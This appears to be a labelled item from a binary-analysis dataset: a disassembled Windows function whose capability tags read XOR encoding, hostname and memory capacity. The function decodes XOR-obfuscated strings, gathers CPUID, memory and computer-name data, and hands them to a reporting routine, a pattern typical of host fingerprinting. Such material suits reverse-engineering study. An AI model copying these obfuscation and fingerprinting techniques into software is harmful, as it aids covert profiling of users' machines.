Function at 0x1002d740
Capabilities:
Encode data using xor
Get hostname
Get memory capacity

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100c1a80
mov eax, dword fs:[0]
push eax
push ebx
mov eax, 0x1724
call fcn.10085580
mov eax, dword [0x100ef0f8]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x1728], edx
mov dword [ebp - 0x172c], ecx
push 0x100f41ac
call fcn.10083967
add esp, 4
test eax, eax
jne 0x1002df5e
cmp dword [0x100f3964], 1
je 0x1002df31
push 3
mov dword [0x100f3964], 1
call fcn.10032680
add esp, 4
call fcn.100325f0
mov esi, eax
mov dword [ebp - 0x1730], esi
test esi, esi
je 0x1002df2c
mov eax, dword fs:[0x2c]
mov ecx, dword [0x100f29c4]
mov dl, byte [0xa13db2]
mov byte [ebp - 0x1719], dl
mov dword [ebp - 0x168c], 0x5c415e4b
mov edi, dword [eax + ecx*4]
mov eax, dword [0x101020a0]
mov word [ebp - 0x1688], 0x2e5a
mov dword [ebp - 0x1720], edi
cmp eax, dword [edi + 4]
jle 0x1002d887
push 0x101020a0
call fcn.10084984
add esp, 4
cmp dword [0x101020a0], 0xffffffff
jne 0x1002d881
movaps xmm0, xmmword [0x100e66c0]
mov eax, dword [ebp - 0x168c]
movups xmmword [0x101020bc], xmm0
mov dword [0x101020dc], eax
movaps xmm0, xmmword [0x100e6690]
mov ax, word [ebp - 0x1688]
push 0x100c5130
movups xmmword [0x101020cc], xmm0
mov word [0x101020e0], ax
call fcn.10084d5f
add esp, 4
push 0x101020a0
call fcn.1008493a
add esp, 4
mov dl, byte [ebp - 0x1719]
cmp byte [0x101020e1], 0
je 0x1002d8cf
movaps xmm2, xmmword [0x100e64a0]
xor eax, eax
nop dword [eax]
movups xmm0, xmmword [eax + 0x101020bc]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [eax + 0x101020bc], xmm1
add eax, 0x10
cmp eax, 0x20
jb 0x1002d8a0
cmp eax, 0x26
jae 0x1002d8cf
xor byte [eax + 0x101020bc], 0x2e
inc eax
cmp eax, 0x26
jb 0x1002d8c2
cmp dl, 0xfd
jne 0x1002d97d
mov eax, dword [0x101020e8]
mov dword [ebp - 0x1668], 0x474a4047
mov word [ebp - 0x1664], 0x2e4f
cmp eax, dword [edi + 4]
jle 0x1002d940
push 0x101020e8
call fcn.10084984
add esp, 4
cmp dword [0x101020e8], 0xffffffff
jne 0x1002d940
mov eax, dword [ebp - 0x1668]
mov dword [0x101020a4], eax
mov ax, word [ebp - 0x1664]
push 0x100c5120
mov word [0x101020a8], ax
call fcn.10084d5f
add esp, 4
push 0x101020e8
call fcn.1008493a
add esp, 4
mov al, byte [0x101020a9]
test al, al
je 0x1002d973
xor byte [0x101020a4], 0x2e
xor byte [0x101020a5], 0x2e
xor byte [0x101020a6], 0x2e
xor byte [0x101020a7], 0x2e
xor byte [0x101020a8], 0x2e
xor al, 0x2e
mov byte [0x101020a9], al
mov eax, 0x101020a4
jmp 0x1002da26
cmp dl, 0xfa
jne 0x1002df31
mov eax, dword [0x101020e4]
mov dword [ebp - 0x1668], 0x47404f43
mov word [ebp - 0x1664], 0x2e4f
cmp eax, dword [edi + 4]
jle 0x1002d9ee
push 0x101020e4
call fcn.10084984
add esp, 4
cmp dword [0x101020e4], 0xffffffff
jne 0x1002d9ee
mov eax, dword [ebp - 0x1668]
mov dword [0x10102060], eax
mov ax, word [ebp - 0x1664]
push 0x100c5110
mov word [0x10102064], ax
call fcn.10084d5f
add esp, 4
push 0x101020e4
call fcn.1008493a
add esp, 4
mov al, byte [0x10102065]
test al, al
je 0x1002da21
xor byte [0x10102060], 0x2e
xor byte [0x10102061], 0x2e
xor byte [0x10102062], 0x2e
xor byte [0x10102063], 0x2e
xor byte [0x10102064], 0x2e
xor al, 0x2e
mov byte [0x10102065], al
mov eax, 0x10102060
push eax
lea eax, [ebp - 0x660]
push 0x101020bc
push eax
call fcn.1001d550
add esp, 0xc
lea eax, [ebp - 0x660]
push eax
push 0x2712
push esi
call fcn.100361e0
mov eax, dword [0x101020ac]
add esp, 0xc
mov dword [ebp - 0x168c], 0x134d5e08
mov word [ebp - 0x1688], 0x5d0b
mov byte [ebp - 0x1719], 0x2e
cmp eax, dword [edi + 4]
jle 0x1002daf4
push 0x101020ac
call fcn.10084984
add esp, 4
cmp dword [0x101020ac], 0xffffffff
jne 0x1002daf4
movaps xmm0, xmmword [0x100e66e0]
mov eax, dword [ebp - 0x168c]
movups xmmword [0x10102068], xmm0
mov dword [0x10102098], eax
movaps xmm0, xmmword [0x100e6650]
mov ax, word [ebp - 0x1688]
movups xmmword [0x10102078], xmm0
mov word [0x1010209c], ax
movaps xmm0, xmmword [0x100e6670]
mov al, byte [ebp - 0x1719]
push 0x100c50f0
movups xmmword [0x10102088], xmm0
mov byte [0x1010209e], al
call fcn.10084d5f
add esp, 4
push 0x101020ac
call fcn.1008493a
add esp, 4
cmp byte [0x1010209e], 0
je 0x1002db3f
movaps xmm2, xmmword [0x100e64a0]
xor eax, eax
nop word [eax + eax]
movups xmm0, xmmword [eax + 0x10102068]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [eax + 0x10102068], xmm1
add eax, 0x10
cmp eax, 0x30
jb 0x1002db10
cmp eax, 0x37
jae 0x1002db3f
xor byte [eax + 0x10102068], 0x2e
inc eax
cmp eax, 0x37
jb 0x1002db32
movaps xmm0, xmmword [0x100e62b0]
lea edi, [ebp - 0x24]
mov eax, connect
xor ecx, ecx
push ebx
cpuid
mov esi, ebx
movups xmmword [ebp - 0x24], xmm0
pop ebx
mov dword [edi], eax
mov dword [edi + 4], esi
mov dword [edi + 8], ecx
mov dword [edi + 0xc], edx
mov edi, connect
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x1664], eax
cmp eax, edi
jb 0x1002dbd9
mov eax, edi
xor ecx, ecx
push ebx
cpuid
mov dword [ebp - 0x1724], ebx
pop ebx
lea esi, [ebp - 0x24]
mov dword [esi], eax
lea eax, [ebp - 0x24]
mov esi, dword [ebp - 0x1724]
mov dword [eax + 4], esi
mov dword [eax + 8], ecx
mov dword [eax + 0xc], edx
cmp edi, reloc.WS2_32.dll_bind
jne 0x1002dbae
movups xmm0, xmmword [ebp - 0x24]
movups xmmword [ebp - 0x68], xmm0
jmp 0x1002dbd0
cmp edi, reloc.WS2_32.dll_closesocket
jne 0x1002dbc0
movups xmm0, xmmword [ebp - 0x24]
movups xmmword [ebp - 0x58], xmm0
jmp 0x1002dbd0
cmp edi, reloc.WS2_32.dll_connect
jne 0x1002dbd0
movups xmm0, xmmword [ebp - 0x24]
movups xmmword [ebp - 0x48], xmm0
inc edi
cmp edi, dword [ebp - 0x1664]
jbe 0x1002db77
lea eax, [ebp - 0x1718]
mov dword [ebp - 0x1718], 0x40
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov eax, dword [ebp - 0x1710]
mov ecx, dword [ebp - 0x170c]
shrd eax, ecx, 0xa
mov ecx, dword [ebp - 0x1720]
cdq
and edx, 0x3ff
mov dword [ebp - 0x166c], 0xb245d0b
mov dword [ebp - 0x1668], 0x6c630e4a
mov dword [ebp - 0x1664], 0x2e5d0b24
lea esi, [edx + eax]
mov eax, dword [0x1010204c]
sar esi, 0xa
cmp eax, dword [ecx + 4]
jle 0x1002dc89
push 0x1010204c
call fcn.10084984
add esp, 4
cmp dword [0x1010204c], 0xffffffff
jne 0x1002dc89
movq xmm0, qword [ebp - 0x166c]
mov eax, dword [ebp - 0x1664]
push 0x100c50d0
movq qword [0x10102050], xmm0
mov dword [0x10102058], eax
call fcn.10084d5f
add esp, 4
push 0x1010204c
call fcn.1008493a
add esp, 4
cmp byte [0x1010205b], 0
je 0x1002dca1
xor eax, eax
xor byte [eax + 0x10102050], 0x2e
inc eax
cmp eax, 0xc
jb 0x1002dc94
push 0xa79a28
push esi
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x260]
push 0x10102050
push eax
call fcn.1002df70
add esp, 0x14
lea ecx, [ebp - 0x16d4]
call fcn.10022680
lea eax, [ebp - 0x1664]
mov dword [ebp - 4], 0
push eax
lea eax, [ebp - 0x24]
mov dword [ebp - 0x1664], 0x10
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x1674], 0
mov dword [ebp - 0x1670], 0xf
lea edx, [ecx + 1]
mov byte [ebp - 0x1684], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1002dd10
sub ecx, edx
lea eax, [ebp - 0x24]
push ecx
push eax
lea ecx, [ebp - 0x1684]
call fcn.1000ef90
cmp dword [ebp - 0x1670], 0x10
lea ecx, [ebp - 0x260]
mov al, byte [0xa13db3]
lea edi, [ebp - 0x1684]
cmovae edi, dword [ebp - 0x1684]
lea esi, [ebp - 0x16d4]
cmp dword [ebp - 0x16c0], 0x10
push ecx
push dword [0xa24cfa]
cmovae esi, dword [ebp - 0x16d4]
push 7
movzx eax, al
push eax
push 0xa13470
call fcn.10023a30
push eax
push edi
push esi
push dword [ebp - 0x1728]
lea eax, [ebp - 0x1660]
push dword [ebp - 0x172c]
push 0x10102068
push eax
call fcn.1002df90
mov esi, dword [ebp - 0x1730]
lea eax, [ebp - 0x1660]
push eax
push 0x271f
push esi
call fcn.100361e0
add esp, 0x3c
push 1
push 0x71
push esi
call fcn.100361e0
mov ecx, dword [ebp - 0x1720]
add esp, 0xc
mov eax, dword [0x1010205c]
mov dword [ebp - 0x166c], 0x426d1d6f
mov dword [ebp - 0x1668], 0x5a404b47
mov byte [ebp - 0x1719], 0x2e
cmp eax, dword [ecx + 4]
jle 0x1002de34
push 0x1010205c
call fcn.10084984
add esp, 4
cmp dword [0x1010205c], 0xffffffff
jne 0x1002de34
movq xmm0, qword [ebp - 0x166c]
mov al, byte [ebp - 0x1719]
push 0x100c50b0
movq qword [0x101020b0], xmm0
mov byte [0x101020b8], al
call fcn.10084d5f
add esp, 4
push 0x1010205c
call fcn.1008493a
add esp, 4
mov al, byte [0x101020b8]
test al, al
je 0x1002de7c
xor byte [0x101020b0], 0x2e
xor byte [0x101020b1], 0x2e
xor byte [0x101020b2], 0x2e
xor byte [0x101020b3], 0x2e
xor byte [0x101020b4], 0x2e
xor byte [0x101020b5], 0x2e
xor byte [0x101020b6], 0x2e
xor byte [0x101020b7], 0x2e
xor al, 0x2e
mov byte [0x101020b8], al
push 0x101020b0
push 0x2722
push esi
call fcn.100361e0
add esp, 0xc
push esi
call fcn.10032630
add esp, 4
push esi
call fcn.100325d0
mov edx, dword [ebp - 0x1670]
add esp, 4
cmp edx, 0x10
jb 0x1002dedb
mov ecx, dword [ebp - 0x1684]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1002ded1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1002df64
push edx
push ecx
call fcn.10084da4
add esp, 8
mov edx, dword [ebp - 0x16c0]
mov dword [ebp - 0x1674], 0
mov dword [ebp - 0x1670], 0xf
mov byte [ebp - 0x1684], 0
cmp edx, 0x10
jb 0x1002df2c
mov ecx, dword [ebp - 0x16d4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1002df22
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1002df64
push edx
push ecx
call fcn.10084da4
add esp, 8
call fcn.10032640
push 0x100f41ac
call fcn.1008398c
add esp, 4
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10084864
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push eax
call fcn.100834ee
call fcn.100a1549
int3